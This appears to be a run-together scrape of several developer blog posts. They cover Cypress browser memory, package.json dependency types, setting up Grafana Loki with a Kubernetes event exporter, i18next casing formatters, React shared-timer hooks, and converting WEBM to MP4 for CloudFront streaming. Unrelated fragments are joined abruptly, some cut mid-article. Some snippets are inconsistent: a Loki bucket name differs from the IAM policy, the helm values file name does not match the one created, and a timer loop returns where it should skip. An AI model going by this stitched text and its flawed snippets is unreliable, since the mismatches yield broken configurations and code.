Since Cypress tests are executed inside the browser all the constraints of abrowser environment apply to them, including the memory constraints. The defaultconfigurations in the browsers are targeted to run on the most number ofsystems. When facing memory starvation issues during complex and long-runningtests, we should configure Cypress according to the resources available in theenvironment in which our tests are running to achieve peak performance.Increasing the available memory for the browser by manually setting anappropriate max-old-space-size value and choosing a memory-efficient browserwill make sure that Cypress will be able to run smoothly in most of thescenarios.

References

• Chromium renderer crash GitHub issue
• Memory management glossary
• Increasing node memory size
• Cypress docker images
• Chromium command-line switches
• Docker resource constraints

dependencies

The packages that are really needed for a project to function should be listedunder dependencies. These packages are always installed within that project.If the project is also a package, then these dependencies will also getinstalled in the host project that uses this package. Below are some commonexamples of what might go under dependencies.

 "dependencies": {   "dayjs": "1.11.1",   "immer": "^10.0.2",   "ramda": "^0.29.0",   "react": "^18.2.0" }

It's important to understand that the above packages do not always have to beunder dependencies. For example, if dayjs is needed only for development,deployment or testing purposes, It should not be listed under dependencies butrather in the devDependencies section, because dependencies will be bundledwith the main code, whereas devDependencies will not. So adding dependenciesthat are only used in development purposes under dependencies is unnecessaryand will increase the bundle size, affecting the performance of the application.

To add a package to dependencies section, simply run:

yarn add package-name

If we are shipping a package, all our dependencies are installed in the root ofhost projects node_modules. However, an exception occurs if the host projectalready has the same dependency but with a different version. In this scenario,that specific conflicting dependency will be installed within the node_modulesof our package to avoid version conflicts.

To explain it bit more lets say we have dayjs@1.0.0 as one of our dependencybut the host project uses 2.0.0. Then both versions will be installed, 2.0.0would be the in root node_modules and 1.0.0 in our package's node_modules.This way, our package can continue to use 1.0.0 while the host uses 2.0.0. Thefolder structure of that host will look something like below.

host-project-app src    index.js node_modules    react    dayjs    my-awesome-lib      node_modules        dayjs package.json README.md

devDependencies

Packages listed in devDependencies are used specifically for developmentpurposes. Any dependencies that do not go into our actual code are listed hereand not under dependencies. These dependencies won't be installed in aproduction environment or in a host project if our project acts as a package.Here are a few examples of what might belong in devDependencies.

 "devDependencies": {    "@babel/core": "^7.16.5",    "eslint": "^8.41.0",    "husky": "^7.0.4",    "jest": "27.5.1",    "prettier": "^2.8.8" }

Just like in dependencies, these packages may not always be indevDependencies. For example, if we are building a package that enhances Jesttests capabilities, then we should place jest under dependencies. Otherwiseour host project will break, because jest will not be installed in the hostproject.

To add a package to devDependencies section, simply run:

yarn add -D package-name

peerDependencies

peerDependencies are needed only if we are building a package. It allows hostto install any desired version unless we specify otherwise.

If we are using yarn as the package manager then peerDependencies are notinstalled automatically. We have to install manually, even in our own package.But there is a slight difference if you are using npm. Up to version 6 npmdoes not install peerDependencies automatically. However, this changes fromversion 7 onwards, as it will install peerDependencies automatically. So if weare using yarn or npm<=v6 and we have for example Storybook or Jest tests inour package project, then we have to install peerDependencies asdevDependencies(not as dependencies which defeats the purpose) as well.

 "devDependencies": {    "@babel/core": "^7.16.5",    "eslint": "^8.41.0",    "husky": "^7.0.4",    "jest": "27.5.1",    "prettier": "^2.8.8",    "dayjs": "1.11.1", } "peerDependencies": {    "dayjs": "latest" }

You might wonder about its purpose if manual installation is required. It servesas a means for our package project to specify essential dependencies requiredfor the package to function properly. Simultaneously, it grants control to thehost project to choose which versions to install.

To add a package to peerDependencies section, simply run:

yarn add --peer package-name

Now the tricky part is determining whether a particular dependency should gounder dependencies or peerDependencies. Unfortunately, there is no clearanswer here. But there are some questions we can ask ourselves to narrow it down.

1. If the specific version of the dependency is important for our package, thatis if using a different version breaks our package, then definitely we wantto place that package under dependencies.

   It is possible to place such dependencies under peerDependencies andspecify supported versions like below, but it is not a good practice.

 "peerDependencies": {    "dayjs": "1.2.0 || 1.5.1", }

2. If the dependency is a widely used package like react, better place itunder peerDependencyand ensure that our package works with differentversion of that dependency. This way, the dependency installed in the hostproject can be reused by our package without installing a separate version.
3. If we want to make changes to a dependency in a manner that impacts its usagewithin the host project, then place it under peerDependencies. Good exampleof this is, at neeto we have a package calledneeto-commons-frontend which extracts numerous common functionalitiesutilized across various products. One such functionality is our errorhandling system, for which we use anAxios interceptor. To ensure thefunctionality of this interceptor, it's crucial to apply this interceptor tothe same instance of Axios. To elaborate further, if we add Axios underdependencies in neeto-commons-frontend, but the host project uses adifferent Axios version, we will be making changes to the Axios instancethat's in node_modules of neeto-commons-frontend and not of the hostproject, means the functionality will not work on the host project.

Another rationale behind utilizing peerDependencies is its substantial impacton reducing the bundle size, particularly when bundling our package. Now if weare using Rollup, placing certain packages under peerDependencies doesn'tautomatically exclude them from the bundle. We need to explicitly specify thisin the Rollup configuration. This is achieved through the Rollup externalconfiguration option, where we provide a list of peerDependencies to beexcluded from the bundle. To simplify this process,rollup-plugin-peer-deps-external automates the inclusion of peerDependencieswithin the external configuration.

import peerDepsExternal from "rollup-plugin-peer-deps-external";export default {  plugins: [    // Preferably set as first plugin.    peerDepsExternal(),  ],};

Additionally, youll also learn how to add Grafana Loki as a data source to yourGrafana Dashboard. This will help you visualize the Kubernetes events.

Furthermore, we'll delve into the specifics of setting up the Event exporter andGrafana Loki, ensuring you understand each step of the process. From downloadingand configuring the necessary helm charts to understanding the Grafana Lokidashboard, we'll cover it all.

By the end of this blog, you'll be able to fully utilize Grafana Loki andKubernetes Event Exporter, gaining insights from your Kubernetes events.

How Kubernetes event exporter can help us in monitoring health

Objects in Kubernetes, such as Pod, Deployment, Ingress, Service publish eventsto indicate status updates or problems. Most of the time, these events areoverlooked and their 1-hour lifespan might cause missing important updates. Theyare also not searchable and cannot be aggregated.

For instance, they can alert you to changes in the state of pods, errors inscheduling, and resource constraints. Therefore, exporting these events andvisualizing them can be crucial for maintaining the health of your cluster.

Kubernetes event exporter allows exporting the often missed Kubernetes events tovarious outputs so that they can be used for observability or alerting purposes.We can have multiple receivers to export the events from the Kubernetes cluster.

• Opsgenie
• Webhooks/HTTP
• Elasticsearch
• OpenSearch
• Slack
• Kinesis
• Firehose
• SNS
• SQS
• File
• Stdout
• Kafka
• OpsCenter
• Customize Payload
• Pubsub
• Teams
• Syslog
• Bigquery
• Pipe
• Event Bridge
• Grafana Loki

Setting up Grafana Loki & Kubernetes event exporter using Helm chart

We will once again use ArtifactHub, which provides ahelm chart for installing Grafana Loki onto a Kubernetes Cluster. If you needinstructions on how to install Helm on your system, you can refer to this blog.

In this blog post, we will install a Helmchart that sets up Loki inscalable mode, with separate read-and-write components that can be independentlyscaled. Alternatively, we can install Loki in monolithic mode, where the HelmChart installation runs the Grafana Loki single binary within a Kubernetescluster. You can learn more about thishere.

1. Create S3 buckets

• grafana-loki-chunks-bucket

• grafana-loki-admin-bucket

• grafana-loki-ruler-bucket

  

2. Create a policy for Grafana Loki

Create a new policy under IAM on Amazon AWS using the below snippet.

{    "Version": "2012-10-17",    "Statement": [        {            "Sid": "LokiStorage",            "Effect": "Allow",            "Action": [                "s3:ListBucket",                "s3:PutObject",                "s3:GetObject",                "s3:DeleteObject"            ],            "Resource": [                "arn:aws:s3:::grafana-loki-chunks-bucket",                "arn:aws:s3:::grafana-loki-chunks-bucket/*",                "arn:aws:s3:::grafana-loki-admin-bucket",                "arn:aws:s3:::grafana-loki-admin-bucket/*",                "arn:aws:s3:::grafana-loki-ruler-bucket",                "arn:aws:s3:::grafana-loki-ruler-bucket/*"            ]        }    ]}

Output:

3. Create a Role with the above permission

Create a role with a custom trust policy & use the below snippet

{    "Version": "2012-10-17",    "Statement": [        {            "Effect": "Allow",            "Principal": {                "Federated": "arn:aws:iam::account_id:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/open_id"            },            "Action": "sts:AssumeRoleWithWebIdentity",            "Condition": {                "StringEquals": {                    "oidc.eks.us-east-1.amazonaws.com/id/open_id:aud": "sts.amazonaws.com",                    "oidc.eks.us-east-1.amazonaws.com/id/open_id:sub": "system:serviceaccount:default:grafana-loki-access-s3-role-sa"                }            }        }    ]}

Note: Please update the account_id and open_id in the above given snippet.

grafana-loki-access-s3-role-sais the service account name that we willmention in the Loki values.

4. Add Grafana using the helm chart

To get this Helm chart, run this command:

helm repo add grafana https://grafana.github.io/helm-chartshelm repo update

Output:

We have downloaded the latest version of the Grafana.

5. Install grafana/loki stack using the helm chart

Create a loki-values yaml file with the below snippet

loki:  readinessProbe: {}  auth_enabled: false  storage:    bucketNames:      chunks: grafana-loki-chunks-bucket      ruler: grafana-loki-rules-bucket      admin: grafana-loki-admin-bucket    type: s3    s3:      endpoint: null      region: us-east-1      secretAccessKey: null      accessKeyId: null      s3ForcePathStyle: false      insecure: falsemonitoring:  lokiCanary:      enabled: false  selfMonitoring:    enabled: falsetest:  enabled: falseserviceAccount:  create: true  name: grafana-loki-access-s3-role-sa  imagePullSecrets: []  annotations:    eks.amazonaws.com/role-arn: arn:aws:iam::account_id:role/loki-role  automountServiceAccountToken: true

To install Loki using the Helm Chart on Kubernetes Cluster, runthishelm installcommand:

helm install my-loki grafana/loki --values loki-values.yaml

Output:

We have successfully installed Loki on the Kubernetes Cluster.

Run the followingcommand to view all the resources created by the Loki HelmChart in your Kubernetes cluster:

kubectl get all -l app.kubernetes.io/name=loki

Output:

Helm chart created the following components:

• Loki read and write: Loki is installed in scalable mode by default, whichincludes a read-and-write component. These components can be independentlyscaled out.
• Gateway: Inspired by GrafanasTanka setup,the chart installs a gateway component by default. This NGINX componentexposes Lokis API and automatically proxies requests to the appropriate Lokicomponents (read or write, or a single instance in the case of filesystemstorage). The gateway must be enabled to provide an Ingress since the Ingressonly exposes the gateway. If enabled, Grafana and log shipping agents, such asPromtail, should be configured to use the gateway. If NetworkPolicies areenabled, they become more restrictive when the gateway is active.
• Caching: In-memory caching is enabled by default. If this type of cachingis unsuitable for your deployment, consider setting up memcache.

Run this command to view all the Kubernetes Services for Prometheus & Grafana:

kubectl get service -l app.kubernetes.io/name=loki

Output:

Listed services for Loki are:

• loki-backend
• loki-backend-headless
• loki-gateway
• loki-memberlist
• loki-read
• loki-read-headless
• loki-write
• loki-write-headless
• query-scheduler-discovery

The loki-gateway service will be used to add Loki as a Datasource intoGrafana.

6. Adding Loki data source in Grafana

On the main page of Grafana, click on "Home". Under "Connections", youwill find the "Data sources" option.

On the Data Sources page, click on the "Add new data source" button.

In the search bar, type "Loki" and search for it.

Clicking on "Loki" will redirect you to the dedicated page for the Loki datasource.

To read the metrics from Loki, we will use the loki-gateway service. Add theURL of the service as http://loki-gateway.

After clicking on the "Save & test" button, you will receive a toastr messageshown in the image below. This message is received because no clients have beencreated for Loki yet.

7. Install Kubernetes event exporter using the helm chart

Create an event-exporter-values yaml file with the below snippet

config:  leaderElection: {}  logLevel: debug  logFormat: pretty  metricsNamePrefix: event_exporter_  receivers:    - name: "dump"      file:        path: "/dev/stdout"        layout: {}    - name: "loki"      loki:        url: "http://loki-gateway/loki/api/v1/push"        streamLabels:          source: kubernetes-event-exporter          container: kubernetes-event-exporter  route:    routes:      - match:          - receiver: "dump"          - receiver: "loki"

With the use of the above snippet, run this command to install the Kubernetesevent exporter in your Kubernetes Cluster.

helm repo add bitnami [https://charts.bitnami.com/bitnami](https://charts.bitnami.com/bitnami)helm install event-exporter bitnami/kubernetes-event-exporter --values event-exporter.yaml

Output:

To view all the resources created by the above helm chart, run this command:

kubectl get all -l app.kubernetes.io/name=kubernetes-event-exporter

Output:

To view the logs of the event exporter POD, run this command:

kubectl logs -f pod/kubernetes-event-exporter-586455bbdd-sqlqc

Note: Replace kubernetes-event-exporter-586455bbdd-sqlqc with your pod name.

Output:

As you can see in the above image, the event exporter is working and runningfine. Event logs are being sent to both the receivers that wed configure in thevalues YAML file.

Once the POD is created & running, we can go back to the Loki data source underConnections > Data Sources page.

Again click on the Save & test button & this time youll receive a successtoastr message.

Output:

8. Kubernetes event exporter dashboard

We will import thisdashboardinto Grafana to monitor and track the events received from the Kubernetescluster. You can go through this blog if you want to learn how to import anexisting dashboard into Grafana.

After successfully importing the dashboard, you can view all the events from thecluster, as shown in the image below. Additionally, you can filter the eventsbased on any value within any interval.

Kubernetes Event Exporter

Conclusion

In this blog post, we discussed the process of setting up Grafana Loki andKubernetes Event exporter. We covered various steps, such as creating a policyfor Grafana Loki, creating a role with the necessary permissions, and addingGrafana using the Helm chart, installing the Loki stack, and adding Loki as adata source in Grafana, installing Kubernetes event exporter using the Helmchart, and finally, setting up the Kubernetes event exporter dashboard inGrafana.

By following the steps outlined in this blog post, you can effectively monitorand track events from your Kubernetes cluster using Grafana Loki and KubernetesEvent exporter. This setup provides valuable insights and helps introubleshooting and analyzing events in your cluster.

If you have any questions or feedback, please feel free to reach out. Happymonitoring!

As our translations grew, we realized that instead of adding every combination of thetexts as separate entries in the translation file, we can reuse most of them byutilizing the i18next interpolation feature.

Interpolation isone of the most used functionalities in i18n. It allows integrating dynamicvalues into our translations.

{  "key": "{{what}} is {{how}}"}

i18next.t("key", { what: "i18next", how: "great" });// -> "i18next is great"

Problem

As we started to use interpolation more and more, we started seeing a lot of textwith irregular casing. For instance, in one of our apps, we have an Add buttonin a few pages.

{  "addMember": "Add a member",  "addWebsite": "Add a website"}

Instead of adding each text as an entry in the translation file as shown above,we took a bit of a generic approach and started using interpolation. Now ourtranslation files started to look like this.

{  "add": "Add a {{entity}}",  "entities": {    "member": "Member",    "website": "Website"  }}

This is great, but it has a slight problem. The final text looked likethis.

Add a Member

We can see the Member is still capitalized, we needed it to be properlysentence-cased like this.

Add a member

We first thought we would just add .toLocaleLowerCase() to the dynamic value.

t("add", { entity: t("entities.member").toLocaleLowerCase() });

It worked fine. But often, developers would forget to add .toLocaleLowerCase()in a lot of places. Secondly, it started to pollute our code with too much.toLocaleLowerCase().

As always, we decided to extract this problem to ourneeto-commons-frontendpackage.

Solutions we looked at

At first, it seemed like a very simple problem. We thought we can just use thepost-processorfeature. We just need to sentence-case the entire text on post-process likethis.

const sentenceCaseProcessor = {  type: "postProcessor",  name: "sentenceCaseProcessor",  process: text => {    // Sentence-case text.    return (      text.charAt(0).toLocaleUpperCase() + text.slice(1).toLocaleLowerCase()    );  },};i18next  .use(LanguageDetector)  .use(initReactI18next)  .use(sentenceCaseProcessor)  .init({    resources: resources,    fallbackLng: "en",    interpolation: {      escapeValue: false,      skipOnVariables: false,    },    postProcess: [sentenceCaseProcessor.name],  });

Voila! Now onwards, all the texts will be properly sentence-cased, we no longerneed to add .toLocaleLowerCase(). Great? Not really.

We soon realized that not every text should be sentence-cased, there are a lotof cases where we need to preserve the original casing. Here are some examples.

Your file is larger than 2MB.Disconnect Google integration?No results found with your search query "Oliver".Your Api Key: AJg3c4TcXXXXXXXXXNo internet, NeetoForm is offline.

These examples clearly show why it's not a simple problem. We require a moretargeted and nuanced solution. Upon revisiting the issue, we found that ourinitial solution of adding .toLocaleLowerCase() does work, but it's a bitverbose.

So we decided to trycustom formatters.So instead of adding .toLocaleLowerCase(), we created a nice custom formattercalled lowercase.

i18next.services.formatter.add("lowercase", (value, lng, options) => {  return value.toLocaleLowerCase();});

{  "add": "Add a {{entity, lowercase}}",  "entities": {    "member": "Member",    "website": "Website"  }}

This works perfectly, but it doesn't solve the verbosity problem. Instead ofadding .toLocaleLowerCase() in JavaScript files, we're now adding it intranslation JSON files - essentially just moving the problem to a differentplace.

We needed a better solution that required minimal effort.

The idea here is to lowercase all dynamic values by default and create aformatter to handle exceptions. To achieve this, we combined our previouspost-processor and a new formatter. The new formatter, which we called anyCasecan be used to flag any dynamic part in the text that needs to be excluded fromlowercasing. The post-processor will ignore these particular parts of the textwhile sentence-casing.

const ANY_CASE_STR = "__ANY_CASE__";i18next.services.formatter.add("anyCase", (value, lng, options) => {  return ANY_CASE_STR + value + ANY_CASE_STR;});

{  "message": "Your file is larger than {{size, anyCase}}"}

The post-processor we wrote attempted to identify these parts of the text markedby anyCase formatter using pattern matching and retaining the original casing.However, this approach failed when the text contained identical words in boththe dynamic and static parts of the text. It ended up lowercasing both words,which is not the output we needed.

Final solution

Before we discuss the final solution, i18next recently changed how a formatteris added, which is what we have been using so far, like below.

i18next.services.formatter.add("underscore", (value, lng, options) => {  return value.replace(/\s+/g, "_");});

Before this, i18next had a different syntax, which they now call legacy formattingis like below.

i18next.use(initReactI18next).init({  resources: resources,  fallbackLng: "en",  interpolation: {    format: (value, format, lng, options) => {      // All our formatters should go here.    },  },});

Now back to our original problem.

We need to make sure that when applying formatting, it only formats dynamic parts. Forthis, we found that if we use the legacy version of formatting, it offers anoption called alwaysFormat: true. One thing to remember here is if we chooseto use this flag, the latest style of formatting does not work. That means weneed to move all our custom formatters to the legacy format function.

i18next.use(initReactI18next).init({  resources: resources,  fallbackLng: "en",  interpolation: {    escapeValue: false,    skipOnVariables: false,    alwaysFormat: true,    format: (value, format, lng, options) => {      // All your formatters should go here.    },  },});

This is not a problem for us, because we are already maintaining all our customformatter in one place(neeto-commons-frontend package). Now the formatter isapplied to every dynamic text. This approach also overcame the "identical wordsin the text problem" that we encountered with the previous version of theformatter. Let's look at our updated formatter.

const LOWERCASED = "__LOWERCASED__";const lowerCaseFormatter = (value, format) => {  if (!value || format === ANY_CASE || typeof value !== "string") {    return value;  }  return LOWERCASED + value.toLocaleLowerCase();};

To elaborate on the code, the formatter lowercases all dynamic texts andprefixes them with __LOWERCASED__. This prefixing is necessary because theformatter lacks information about where this specific piece of text originallyappeared in the complete text. By adding this prefix, if the lowercased texthappens to be the first part of the output, we can revert it during thepost-processing stage. And that's precisely what we accomplished in thepost-processor.

const sentenceCaseProcessor = {  type: "postProcessor",  name: "sentenceCaseProcessor",  process: value => {    const shouldSentenceCase = value.startsWith(LOWERCASED); // Check if first word is lowercased.    value = value.replaceAll(LOWERCASED, ""); // Remove all __LOWERCASED__    return shouldSentenceCase ? sentenceCase(value) : value;  },};

Below is everything put together, If you're interested in a working example ofthe same, checkout thisgist.

const LOWERCASED = "__LOWERCASED__";const ANY_CASE = "anyCase";const sentenceCase = value =>  value.charAt(0).toLocaleUpperCase() + value.slice(1);const lowerCaseFormatter = (value, format) => {  if (!value || format === ANY_CASE || typeof value !== "string") {    return value;  }  return LOWERCASED + value.toLocaleLowerCase();};const sentenceCaseProcessor = {  type: "postProcessor",  name: "sentenceCaseProcessor",  process: value => {    const shouldSentenceCase = value.startsWith(LOWERCASED);    value = value.replaceAll(LOWERCASED, "");    return shouldSentenceCase ? sentenceCase(value) : value;  },};i18next  .use(LanguageDetector)  .use(initReactI18next)  .use(sentenceCaseProcessor)  .init({    resources: resources,    fallbackLng: "en",    interpolation: {      escapeValue: false,      skipOnVariables: false,      alwaysFormat: true,      format: (value, format, lng, options) => {        // other formatters        return lowerCaseFormatter(value, format);      },    },    postProcess: [sentenceCaseProcessor.name],    detection: {      order: ["querystring", "cookie", "navigator", "path"],      caches: ["cookie"],      lookupQuerystring: "lang",      lookupCookie: "lang",    },  });

Let's consider a simple use case. In React, if we are asked to implement acountdown timer that updates the time on the screen every second, we can use thesetInterval method to get the job done.

const CountDownTimer = () => {  const [time, setTime] = useState(10);  useEffect(() => {    const interval = setInterval(() => {      setTime(time => {        if (time > 0) return time - 1;        clearInterval(interval);        return time;      });    }, 1000); // Run this every 1 second.  }, []);  return <p>Remaining time: {time}</p>;};

This works great if we are only expecting to show a single timer on the page.What if we have to show multiple timers running on the same page?

Multiple timers

In the conversation page of our NeetoChat application,when listing each message in a conversation, we annotate each message with a"time-ago" label. This label indicates the duration since the message wasreceived and is expected to self-advance with passing time.

Normally, our first take on such implementation would be to use a setIntervaltimer inside the message component, which triggers the component to re-renderevery second to update the label. This becomes highly inefficient when we havehundreds of messages to be rendered on the screen at the same time.

The browser ends up running separate timers for each message to update theirlabel. Also, due to their asynchronous behavior, there is a higher chance thatthese timer events get stuck in the JS event loop and get fired at inappropriatemoments or get dropped altogether.

Using a single timer

An alternate approach could be to keep a single timer and a state on the messagelisting parent component. Then update the state on every passing second, andtrigger the entire list re-render. The obvious downside of this approach isrerendering a large conversation list and its children every single second. Thisis highly inappropriate and leads to unexpected stutter and other performanceissues.

What we wanted to achieve was to use a single timer that updates a single state,triggering the re-render of all the components that need to be updated. In caseof NeetoChat conversations, we needed to update "time-ago" labels alone, not theentire message component or any of its parent.

React's Context API was the mostappropriate choice at the time for this task. The Context API offers a simpleway of sharing states or values across different components. Whenever the valueor the state changes, all its subscribed components are immediately notified ofthe change and trigger a re-render. To use this approach, first, we extractedthe timer and the state into a Context. Then, all the components that need to beupdated over time are subscribed to this context value. The timer updates thecontext value, and the subscribed components get rerendered.

import React, {  createContext,  useEffect,  useRef,  useMemo,  useCallback,} from "react";const IntervalContext = createContext({});const defaultClockDelay = 10 * 1000; // 10 secondsexport const IntervalProvider = ({ children }) => {  const subscriptions = useRef(new Map()).current;  useEffect(() => {    const interval = setInterval(() => {      const now = Date.now();      for (const subscription of subscriptions.values()) {        // Check if delay is elapsed        if (now < subscription.time) return;        subscription.callback(now);        // Set next callback time for the subscription.        subscription.time = now + subscription.delay;      }    }, defaultClockDelay);    return () => {      clearInterval(interval);    };  }, [subscriptions]);  const subscribe = useCallback(    (callback, delay = defaultClockDelay) => {      if (typeof callback !== "function") return undefined;      const subscription = { callback, delay, time: Date.now() + delay };      subscriptions.set(subscription, subscription);      //unsubscribe callback      return () => subscriptions.delete(subscription);    },    [subscriptions]  );  const contextValue = useMemo(() => ({ subscribe }), [subscribe]);  return (    <IntervalContext.Provider value={contextValue}>      {children}    </IntervalContext.Provider>  );};export default IntervalContext;

The above context exposes a subscribe method that accepts a callback and adelay, which is added to the list of subscriptions. During each interval, we areiterating through the list of subscriptions and will invoke those callbacks forwhich the specified delay has elapsed.

To integrate this universal timer into the individual components easily, we havealso added a hook that wraps around the common subscription and cleanup logic.

import { useContext, useEffect, useState } from "react";import IntervalContext from "contexts/interval";const useInterval = delay => {  const [state, setState] = useState(Date.now());  const { subscribe } = useContext(IntervalContext);  useEffect(() => {    const unsubscribe = subscribe(now => setState(now), delay);    return unsubscribe;  }, [delay, subscribe]);  return state;};export default useInterval;

Now, the component integration require only minimal configuration.

import { timeFormat } from "neetocommons/utils";const TimeAgo = () => {  useInterval(10000); // Rerender every 10 seconds  // timeFormat.fromNow() returns the time  // difference between given time and now.  return <p>{timeFormat.fromNow(time)}</p>;};

This way, only the "time-ago" label components are updated every 10 secondswhile the parent message components remain unaffected by these updates.

Using a global store

As soon as that work was finished, our development guidelines were updated toreflect that we should use zustand for allshared state usages. The above universal timer implementation was refactored touse a zustand store instead of React Context.

import { useEffect, useMemo } from "react";import { isEmpty, omit, prop } from "ramda";import { v4 as uuid } from "uuid";import { create } from "zustand";const useTimerStore = create(() => ({}));// Interval is created directly inside the module body,// outside the components and hooks.setInterval(() => {  const currentState = useTimerStore.getState();  const nextState = {};  const now = Date.now();  for (const key in currentState) {    const { lastUpdated, interval } = currentState[key];    // Check if delay is elapsed.    const shouldUpdate = now - lastUpdated >= interval;    if (shouldUpdate) nextState[key] = { lastUpdated: now, interval };  }  if (!isEmpty(nextState)) useTimerStore.setState(nextState);}, 1000);// `useInterval` was changed to `useTimer`.const useTimer = (interval = 60) => {  const key = useMemo(uuid, []);  useEffect(() => {    useTimerStore.setState({      [key]: {        lastUpdated: Date.now(),        interval: 1000 * interval, // convert seconds to ms      },    });    return () =>      useTimerStore.setState(omit([key], useTimerStore.getState()), true);  }, [interval, key]);  return useTimerStore(prop(key));};export default useTimer;

zustand store allows access and updates to store values imperatively, outsidethe render by calling the getState() and setState() methods.

An improved version

In the latest iteration of the useTimer hook, we decided to cut down on theexternal dependency zustand and instead migrate the implementation to useReact's newuseSyncExternalStorehook. The useSyncExternalStore hook basically allows you to derive a Reactstate from external change events.

import { useRef, useSyncExternalStore } from "react";import { isNotEmpty } from "neetocist";const subscriptions = [];let interval = null;const initiateInterval = () => {  // Create new interval if there are no existing subscriptions.  if (isNotEmpty(subscriptions)) return;  interval = setInterval(() => {    subscriptions.forEach(callback => callback());  }, 1000);};const cleanupInterval = () => {  // Cleanup existing interval if there are no more subscriptions  if (isNotEmpty(subscriptions)) return;  clearInterval(interval);};const subscribe = callback => {  initiateInterval();  subscriptions.push(callback);  // Runs on unmout. Remove subscription from the list.  return () => {    subscriptions.splice(subscriptions.indexOf(callback), 1);    cleanupInterval();  };};const useTimer = (delay = 60) => {  const lastUpdatedRef = useRef(Date.now());  return useSyncExternalStore(subscribe, () => {    const now = Date.now();    let lastUpdated = lastUpdatedRef.current;    // Calculate the time difference to derive new state    // If specified delay elapsed, return new value for the state. If not, return last value (no state change)    if (now - lastUpdated >= delay * 1000) lastUpdated = now;    lastUpdatedRef.current = lastUpdated;    return lastUpdated;  });};

In summary, when useTimer hook is invoked with a delay, the callback is addedto the list of subscriptions and executed when the specified delay has elapsed.On unmount, the subscription is removed from the list of subscriptions. Incontrast to previous versions, the new version is much cleaner and has the addedbenefit of running the interval timer only when required. The timer is addedonly when the first subscription is added and removed when all subscriptionshave been completed.

In Part 1 of our blog, we uploaded the recording from the browser to S3 insmall parts and stitched them together to get the final WEBM video file. Wecould use this WEBM file to share our recording with our audience, but it has afew drawbacks:

1. WEBM is not universally supported. Though most modern browsers support WEBM,a few browsers, especially devices in the Apple ecosystem, do not play WEBMreliably.

2. Metadata for timestamps and duration are not present in WEBM videos. So,these videos are not "seekable." It means these videos do not show the videolength, and we cannot move back and forth using the seek bar. The videostarts playing back from the beginning when the user tries to push the seekbar.

Hence, we needed to convert the WEBM videos to a universally supported format tosolve the above problems. We chose MP4.

MP4

MP4 is a widely used multimedia file storage format for video storage andstreaming. It is an international standard that works with a vast range ofdevices. MP4 refers to the digital container file that acts as a wrapper aroundthe video, not the video itself. The video content within MP4 files is encodedwith MPEG-4, a common encoding standard.

We chose MP4 because:

1. MP4 works withHTML5 video player.
2. Supports multiple streaming protocols.
3. Comprehensive support for user devices and browsers.

WEBM to MP4 conversion

AWS MediaConvert service

Since our WEBM files were in an S3 bucket, our first idea was to use an AWSservice to do the WEBM to MP4 conversion. We configuredAWS Elemental MediaConvert service andconnected it to our WEBM bucket. When a user uploads a WEBM file to the bucket,MediaConvert picks it up, converts it to MP4, and uploads it to a new bucket.

MediaConvert worked as expected, but we had to find another solution because:

1. Cost - we found it too expensive for our use case.
2. Performance - It took a long time to do the conversion. While the smallerrecordings took about 20-30s, large ones took minutes. The time taken grewlinearly with the size of the WEBM file.

Manual transcoding using FFMPEG using AWS Lambda

Converting WEBM to MP4 involves transcoding. Transcoding is the process ofchanging the audio/video codecs in a container file. Codecs are algorithms usedto encode and decode digital media data. Converting to MP4 would mean usingcodecs that are part of the MPEG-4 family. Eg: H.264 for video and AAC foraudio. FFMPEG is a popular open source tool that can beused for transcoding WEBM to MP4.

ffmpeg -i input.webm -c:v libx264 -c:a aac  output.mp4

• -c:v libx264 sets the video codec to libx264, which is a widely supportedH.264 codec.
• -c:a aac sets the audio codec to AAC, which is a commonly used audio codec.

We could run FFMPEG on our web server and run the transcoding process. But thatwill not be easy to scale. So, we decided to use a serverless solution thatwould automatically scale. Since our input files were on AWS S3, AWS Lambda wasthe obvious choice.

We installed FFMPEG on AWS Lambda using aLayer asdescribed in thispost.

We configured our input S3 bucket (one to which WEBM was uploaded) to triggerLambda whenever a new file was uploaded. FFMPEG would then transcode WEBM to MP4and store the output in another S3 bucket.

This worked as expected. But performance was still a problem. Time taken wasproportional to the input file size and took longer than we found acceptable.

Transmuxing instead of transcoding

Transmuxing or stream copy is a fast process that doesn't involve re-encodingbut instead directly copies the existing audio and video streams into a newcontainer format. This approach works well when the codecs used in the inputfile (WebM) are compatible with the output container format (MP4).

Popular browsers like Chrome, Brave, Safari etc. use the H264 codec for videoencoding. This is compatible with MP4. So transmuxing works flawlessly. ButFirefox uses the VP8 or VP9 codec, which is incompatible with MP4. Since we wereplanning to build a Chrome extension for NeetoRecor,d we only needed to worryabout Chrome and we could ignore Firefox users for now.

ffmpeg -i input.webm -c:v copy -c:a copy output.mp4

We modified the ffmpeg command as shown above. It now uses the -c:v copy and-c:a copy options, which copies the video and audio from the input file to theoutput file without re-encoding. MP4 conversion now become extremely fast, andthe time taken did not increase significantly with the size of the input file.

Streaming

Now that we successfully generated MP4 files, it was time to think of deliveringthe file efficiently to the client (browser) for playback. We had two problemsto solve:

1. S3 is a storage service. It is not suitable for content delivery.

   • Relatively high data transfer costs.
   • Storage is in one geographical region, resulting in slower delivery overthe network.

2. Video files are large in size. Downloading the entire file and then playingit back is not efficient in terms of speed and data transfer. We needed tofind a way to allow streaming of the files. ie. deliver chunks of data as andwhen it was needed by the client.

Cloudfront as CDN

CloudFront is a content delivery network (CDN) service provided by AWS. It canbe used as a CDN for S3, and this combination is a common architecture fordistributing content globally with low latency and high transfer speeds.

We created a CloudFront distribution, which is connected to our MP4 bucket. Oncethe distribution is deployed, we can access the MP4 files using the CloudFrontdomain name. When users request content through CloudFront, CloudFront checksits cache for the requested content. If the content is in the cache and is stillvalid (based on cache-control headers), CloudFront serves the content directlyfrom its edge locations, reducing latency. If the content is not in the cache oris expired, CloudFront retrieves the content from the S3 bucket, caches it, andserves it to the user. This helps reduce the load on our S3 bucket and improvesthe performance of content delivery.

The HTTP Range request header

HTTP Range requests allow clients to request specific portions of a file from aserver. This feature enables users to stream or download only parts of the filethey need, reducing bandwidth usage and improving user experience. At first, theclient could request the range for the beginning of the video file, and then, as theplayback proceeded, request subsequent parts. If the user moves back and forththe video using the seek bar, corresponding ranges can be requested.

GET /example.mp4 HTTP/1.1Host: example.comRange: bytes=5000-9999

Range: bytes=5000-9999 is the Range header indicating the specific bytes theclient wants to retrieve. In this case, the client requests bytes 5000 to 9999of the MP4 file. The numbering starts from zero, so byte 5000 means the 5001stbyte in the file.

Server responds with a 206 response (Partial content) with the requestsequence of bytes in the body. If the server does not support range requests,then it responds with a 200 along with the full content.

Checking if the server supports Range requests

We can perform a check by issuing a HEAD request to the server to see if theserver supports Range requests.

curl -I http://abc.com/1.mp4

